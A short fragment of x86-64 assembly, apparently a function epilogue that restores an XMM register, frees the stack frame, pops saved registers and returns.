movups xmm6, xmmword [rbp + 0x8c0]
add rsp, 0x958
pop rbx
pop rsi
pop rdi
pop rbp
ret